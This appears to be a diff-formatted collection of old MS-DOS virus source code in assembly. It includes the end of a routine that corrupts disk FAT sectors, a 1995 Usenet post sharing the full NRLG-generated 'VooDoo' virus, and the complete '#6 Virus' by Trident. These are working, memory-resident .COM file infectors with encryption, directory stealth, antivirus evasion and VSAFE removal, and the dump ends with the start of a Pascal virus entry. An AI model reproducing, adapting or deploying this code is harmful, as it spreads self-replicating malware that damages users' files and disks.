||||
push ax
|
||||
push bp ;save regs that will be changed
|
||||
mov ax, 0dh
|
||||
int 21h ;reset disk
|
||||
mov ah, 19h
|
||||
int 21h ;get default disk
|
||||
xor dx, dx
|
||||
call load_sec ;read in the boot record
|
||||
mov bp, bx
|
||||
mov bx, word ptr es:[bp+16h] ;find sectors per fat
|
||||
push ax ;save drive number
|
||||
call rnd_num ;get random number
|
||||
cmp bx, ax ;if random number is lower than
|
||||
jbe alter_fat1 ;secs per fat then jump and kill 'em
|
||||
mov ax, bx ;else pick final sector of fat
|
||||
alter_fat1:
|
||||
|
||||
int 26h ;write same data in that fat
|
||||
pop bp
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop dx
|
||||
jmp outta
|
||||
|
||||
rnd_num:
|
||||
push cx
|
||||
push dx ;save regs that will be changed
|
||||
xor ax, ax
|
||||
int 1ah ;get system time
|
||||
xchg dx, ax ;put lower word into ax
|
||||
pop dx
|
||||
pop cx
|
||||
ret ;restore values and return
|
||||
|
||||
load_sec:
|
||||
push cx
|
||||
push ds ;save regs that will be changed
|
||||
push ax ;save drive number
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es ;make es and ds the same as cs
|
||||
mov ax, 0dh
|
||||
int 21h ;reset disk
|
||||
pop ax ;restore drive number
|
||||
mov cx, 1
|
||||
mov bx, offset sec_buf
|
||||
int 25h ;read sector into buffer
|
||||
pop ds
|
||||
pop cx
|
||||
ret ;restore regs and return
|
||||
|
||||
outta:
|
||||
mov ax, 4c00h ;end program
|
||||
int 21h
|
||||
|
||||
words_ db "nUcLeii~ *v. i. a*",0
|
||||
words2 db "1200..n0name",0
|
||||
allfiles db "*.*",0
|
||||
currentdir db 64 dup (?)
|
||||
daroot db "\",0
|
||||
dirdat db 43 dup (?)
|
||||
diskdat dw ?
|
||||
diskdatofs dw ?
|
||||
filedat db 43 dup (?)
|
||||
filetype db "*.com",0
|
||||
handle dw ?
|
||||
idbuffer dw ?
|
||||
orig_attr dw ?
|
||||
orig_date dw ?
|
||||
orig_time dw ?
|
||||
sec_buf dw 100h dup(?)
|
||||
tempofs dw ?
|
||||
tempseg dw ?
|
||||
wild db "*",0
|
||||
|
||||
main endp
|
||||
seg_a ends
|
||||
end start
|
|
@ -0,0 +1,483 @@
|
|||
From smtp Thu Feb 9 11:43 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Thu, 9 Feb 95 11:43 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id LAA03601 for joshuaw@pobox.jwu.edu; Thu, 9 Feb 1995 11:34:53 -0500
|
||||
Date: Thu, 9 Feb 1995 11:34:53 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 23204
|
||||
Content-Type: binary
|
||||
Message-Id: <199502091634.LAA03601@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) Re: Not-So-Destructive Virii...<post please>
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: RO
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.moneng.mei.com!howland.reston.ans.net!nntp.crl.com!crl.crl.com!not-for-mail
|
||||
From: yojimbo@crl.com (Douglas Mauldin)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Re: Not-So-Destructive Virii...<post please>
|
||||
Date: 6 Feb 1995 21:44:13 -0800
|
||||
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
|
||||
Lines: 450
|
||||
Message-ID: <3h71bd$js1@crl.crl.com>
|
||||
References: <3h5ubg$4s7@usenet.srv.cis.pitt.edu>
|
||||
NNTP-Posting-Host: crl.com
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
; Here's a simple, non-destructive virus created with NRLG (NuKE Randomic
|
||||
; Life Generator). All it does is display a message on June 6th ( I believe).
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿinc byte ptr [di]
|
||||
sub word ptr [di],0381h
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿcall ANTI_V
|
||||
;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿadd word ptr [di],0381h
|
||||
dec byte ptr [di]
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;---------------------------------
|
||||
action: ;Call label
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;get date
|
||||
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
|
||||
JE cont ;nop! fuck ret
|
||||
cmp byte ptr cs:[action_dia+bp],32 ;
|
||||
jne no_day ;
|
||||
cont: ;
|
||||
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||
je set ;
|
||||
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||
jne NO_DAY ;nop! fuck ret
|
||||
set: ;
|
||||
mov AH,9 ;yeah!!
|
||||
MOV DX,OFFSET PAO ;print my text!
|
||||
INT 21H ;now!
|
||||
INT 20H ;an finsh te program
|
||||
NO_DAY: ;label to incorrect date
|
||||
ret ;return from call
|
||||
;---------------------------------
|
||||
|
||||
ÿ
|
||||
PAO:
|
||||
DB 10,13,'Congratulations! You Have Been infected by VooDoo... Compliments of HeadHunter ','$'
|
||||
|
||||
;---------------------------------
|
||||
ANTI_V: ;
|
||||
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
|
||||
MOV DX,5945H ;
|
||||
INT 21H ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 06H ;day for the action
|
||||
action_mes Db 06H ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
|
@ -0,0 +1,325 @@
|
|||
;*****************************************************************************
|
||||
; #6 Virus *
|
||||
; *
|
||||
; Assembled with Tasm 2.5 *
|
||||
; (c) 1992 Trident/Dark Helmet, The Netherlands *
|
||||
; *
|
||||
; The author(s) take(s) no responsibility for any damaged caused by *
|
||||
; this virus. *
|
||||
;*****************************************************************************
|
||||
|
||||
.RADIX 16
|
||||
virus SEGMENT
|
||||
MODEL SMALL
|
||||
ASSUME cs:virus, ds:virus, es:virus
|
||||
ORG 100h
|
||||
|
||||
len EQU OFFSET last - begin
|
||||
|
||||
dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of
|
||||
; viruscode.
|
||||
begin: CALL start ; make a call to
|
||||
; push the IP on the
|
||||
; stack.
|
||||
start: POP bp ; get the IP of the
|
||||
; stack.
|
||||
SUB bp,108h ; adjust BP (=IP)
|
||||
; for offset of DATA.
|
||||
|
||||
restore: MOV di,0100h ; copy the original
|
||||
LEA si,ds:[carrier_begin+bp] ; host begin code back.
|
||||
MOV cx,05h
|
||||
REP MOVSB
|
||||
|
||||
check: MOV ah,0a0h ; check if virus
|
||||
INT 21h ; allready resident.
|
||||
CMP ax,8654h
|
||||
JE end_virus
|
||||
|
||||
memory: MOV ax,cs ; DS = Memory Control
|
||||
DEC ax ; Blok (MCB).
|
||||
MOV ds,ax
|
||||
CMP BYTE PTR ds:[0000],5ah ; check first byte if
|
||||
JNE abort ; last MCB.
|
||||
MOV ax,ds:[0003] ; decrease memory size.
|
||||
SUB ax,40
|
||||
MOV ds:[0003],AX
|
||||
|
||||
PUSH cs ; restore ds.
|
||||
POP ds
|
||||
|
||||
install: MOV bx,ax ; ES point where
|
||||
MOV ax,es ; to copy virus in
|
||||
ADD ax,bx ; memory.
|
||||
MOV es,ax
|
||||
|
||||
MOV cx,len ; copy virus to
|
||||
LEA si,ds:[begin+bp] ; memory.
|
||||
LEA di,es:0105 ; offset = 105
|
||||
REP MOVSB
|
||||
MOV [virus_segment+bp],es ; store virus_segment
|
||||
|
||||
PUSH cs ; restore es
|
||||
POP es
|
||||
|
||||
hook_vectors: CLI
|
||||
|
||||
MOV ax,3521h ; hook int 21h
|
||||
INT 21h
|
||||
MOV ds,[virus_segment+bp]
|
||||
MOV old_21h,bx
|
||||
MOV old_21h+2,es
|
||||
MOV dx,offset main_virus
|
||||
MOV ax,2521h
|
||||
INT 21h
|
||||
|
||||
MOV ax,3512h ; hook int 12h
|
||||
INT 21h
|
||||
MOV old_12h,bx
|
||||
MOV old_12h+2,es
|
||||
MOV dx,offset new_12h
|
||||
MOV ax,2512h
|
||||
INT 21h
|
||||
|
||||
STI
|
||||
|
||||
abort: MOV ax,cs ; restore ds,es
|
||||
MOV ds,ax
|
||||
MOV es,ax
|
||||
|
||||
end_virus: MOV bx,0100h ; jump to begin host
|
||||
PUSH bx
|
||||
XOR bx,bx
|
||||
XOR bp,bp
|
||||
XOR ax,ax
|
||||
XOR cx,cx
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
; *
|
||||
; This part will intercept the interuptvectors and copy itself to *
|
||||
; other host programs *
|
||||
; *
|
||||
;*****************************************************************************
|
||||
|
||||
main_virus: PUSHF
|
||||
CMP ah,0a0h ; check if virus calls
|
||||
JNE new_21h ; and return id.
|
||||
MOV ax,8654h
|
||||
POPF
|
||||
IRET
|
||||
|
||||
new_21h: PUSH ds ; new interupt 21
|
||||
PUSH es ; routine
|
||||
PUSH di
|
||||
PUSH si
|
||||
PUSH ax
|
||||
PUSH bx
|
||||
PUSH cx
|
||||
PUSH dx
|
||||
PUSH sp
|
||||
PUSH bp
|
||||
|
||||
check_open: CMP ah,3dh ; check if a file is
|
||||
JNE check_exec ; being opened
|
||||
JMP chk_com
|
||||
|
||||
check_exec: CMP ax,04b00h ; check if a file is
|
||||
JNE continu ; executed
|
||||
JMP chk_com
|
||||
|
||||
continu: POP bp
|
||||
POP sp
|
||||
POP dx ; continu with
|
||||
POP cx ; interrupt
|
||||
POP bx
|
||||
POP ax
|
||||
POP si
|
||||
POP di
|
||||
POP es
|
||||
POP ds
|
||||
POPF
|
||||
JMP DWORD PTR cs:[old_21h]
|
||||
|
||||
chk_com: MOV cs:[name_seg],ds
|
||||
MOV cs:[name_off],dx
|
||||
CLD ; check if extension
|
||||
MOV di,dx ; is COM file
|
||||
PUSH ds
|
||||
POP es
|
||||
MOV al,'.'
|
||||
REPNE SCASB
|
||||
CMP WORD PTR es:[di],'OC'
|
||||
JNE continu
|
||||
CMP WORD PTR es:[di+2],'M'
|
||||
JNE continu
|
||||
|
||||
CMP WORD PTR es:[di-7],'MO' ; Check for
|
||||
JNE error ; COMMAND.COM
|
||||
CMP WORD PTR es:[di-5],'AM'
|
||||
JNE error
|
||||
CMP WORD PTR es:[di-3],'DN'
|
||||
JE continu
|
||||
|
||||
error: CALL int24h ; take care of error
|
||||
; messages
|
||||
CALL set_atribute ; set atribute for
|
||||
; writing
|
||||
|
||||
open_file: MOV ds,cs:[name_seg] ; open file
|
||||
MOV dx,cs:[name_off]
|
||||
MOV ax,3d02h
|
||||
CALL do_int21h
|
||||
JC close_file
|
||||
PUSH cs
|
||||
POP ds
|
||||
MOV [handle],ax
|
||||
MOV bx,ax
|
||||
|
||||
CALL get_date
|
||||
|
||||
check_infect: PUSH CS ; check if file
|
||||
POP DS ; already infect
|
||||
MOV BX,[handle]
|
||||
MOV ah,3fh
|
||||
MOV cx,05h
|
||||
LEA dx,[carrier_begin]
|
||||
CALL do_int21h
|
||||
MOV al, BYTE PTR [carrier_begin]+3 ; look for
|
||||
MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's
|
||||
CMP ax,[initials]
|
||||
JE save_date
|
||||
|
||||
get_lenght: MOV ax,4200h
|
||||
CALL move_pointer
|
||||
MOV ax,4202h
|
||||
CALL move_pointer
|
||||
SUB AX,03h
|
||||
MOV [lenght_file],ax
|
||||
|
||||
CALL write_jmp ; write jump
|
||||
; instruction.
|
||||
CALL write_virus ; write virus
|
||||
; body.
|
||||
|
||||
save_date: PUSH CS
|
||||
POP DS
|
||||
MOV bx,[handle]
|
||||
MOV dx,[date]
|
||||
MOV cx,[time]
|
||||
MOV ax,5701h
|
||||
CALL do_int21h
|
||||
|
||||
close_file: MOV bx,[handle] ; close file
|
||||
MOV ah,3eh
|
||||
CALL do_int21h
|
||||
|
||||
restore_int24h: MOV dx,cs:[old_24h] ; restore int24
|
||||
MOV ds,cs:[old_24h+2] ; for critical
|
||||
MOV ax,2524h ; error handling
|
||||
CALL do_int21h
|
||||
|
||||
JMP continu
|
||||
|
||||
new_24h: MOV al,3
|
||||
IRET
|
||||
|
||||
new_12h: JMP DWORD PTR cs:[old_12h]
|
||||
SUB ax,50
|
||||
IRET
|
||||
|
||||
;*****************************************************************************
|
||||
|
||||
move_pointer: PUSH cs
|
||||
POP ds
|
||||
MOV bx,[handle]
|
||||
XOR cx,cx
|
||||
XOR dx,dx
|
||||
CALL do_int21h
|
||||
RET
|
||||
|
||||
do_int21h: PUSHF
|
||||
CALL DWORD PTR cs:[old_21h]
|
||||
RET
|
||||
|
||||
write_jmp: PUSH CS
|
||||
POP DS
|
||||
|
||||
MOV ax,4200h ; write jump
|
||||
CALL move_pointer ; instruction
|
||||
MOV ah,40h
|
||||
MOV cx,01h
|
||||
LEA dx,[jump]
|
||||
CALL do_int21h
|
||||
|
||||
MOV ah,40h ; write offset of
|
||||
MOV cx,02h ; jump
|
||||
LEA dx,[lenght_file]
|
||||
CALL do_int21h
|
||||
|
||||
MOV ah,40h ; write mark for
|
||||
MOV cx,02h ; infection
|
||||
LEA dx,[initials]
|
||||
CALL do_int21h
|
||||
RET
|
||||
|
||||
write_virus: PUSH CS
|
||||
POP DS
|
||||
|
||||
MOV ax,4202h ; write main
|
||||
CALL move_pointer ; virus body
|
||||
MOV ah,40 ; at end of
|
||||
MOV cx,len ; program
|
||||
MOV dx,105h
|
||||
CALL do_int21h
|
||||
RET
|
||||
|
||||
get_date: MOV ax,5700h
|
||||
CALL do_int21h
|
||||
PUSH cs
|
||||
POP ds
|
||||
MOV [date],dx
|
||||
MOV [time],cx
|
||||
RET
|
||||
|
||||
int24h: MOV ax,3524h
|
||||
CALL do_int21h
|
||||
MOV cs:[old_24h],bx
|
||||
MOV cs:[old_24h+2],es
|
||||
MOV dx,offset new_24h
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AX,2524h
|
||||
CALL do_int21h
|
||||
RET
|
||||
|
||||
set_atribute: MOV ax,4300h ; get atribute
|
||||
MOV ds,cs:[name_seg]
|
||||
MOV dx,cs:[name_off]
|
||||
CALL do_int21h
|
||||
|
||||
AND cl,0feh ; set atribute
|
||||
MOV ax,4301h
|
||||
CALL do_int21h
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
|
||||
text db '#6 Virus, Trident/The Netherlands 1992'
|
||||
old_12h dw 00h,00h
|
||||
old_21h dw 00h,00h
|
||||
old_24h dw 00h,00h
|
||||
carrier_begin db 090h,0cdh,020h,086h,054h
|
||||
jump db 0e9h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
virus_segment dw ?
|
||||
handle dw ?
|
||||
lenght_file dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
initials dw 5486h
|
||||
last db 090h
|
||||
|
||||
virus ends
|
||||
end dummy
|
|
@ -0,0 +1,109 @@
|
|||
Number One
|
||||
|
||||
Pascal is another high level language that can produce eye popping computer viruses. Especially when the usage of Turbo Pascal is involved.
|
||||
The virus below was available through various bulletin boards for a while.
|
||||
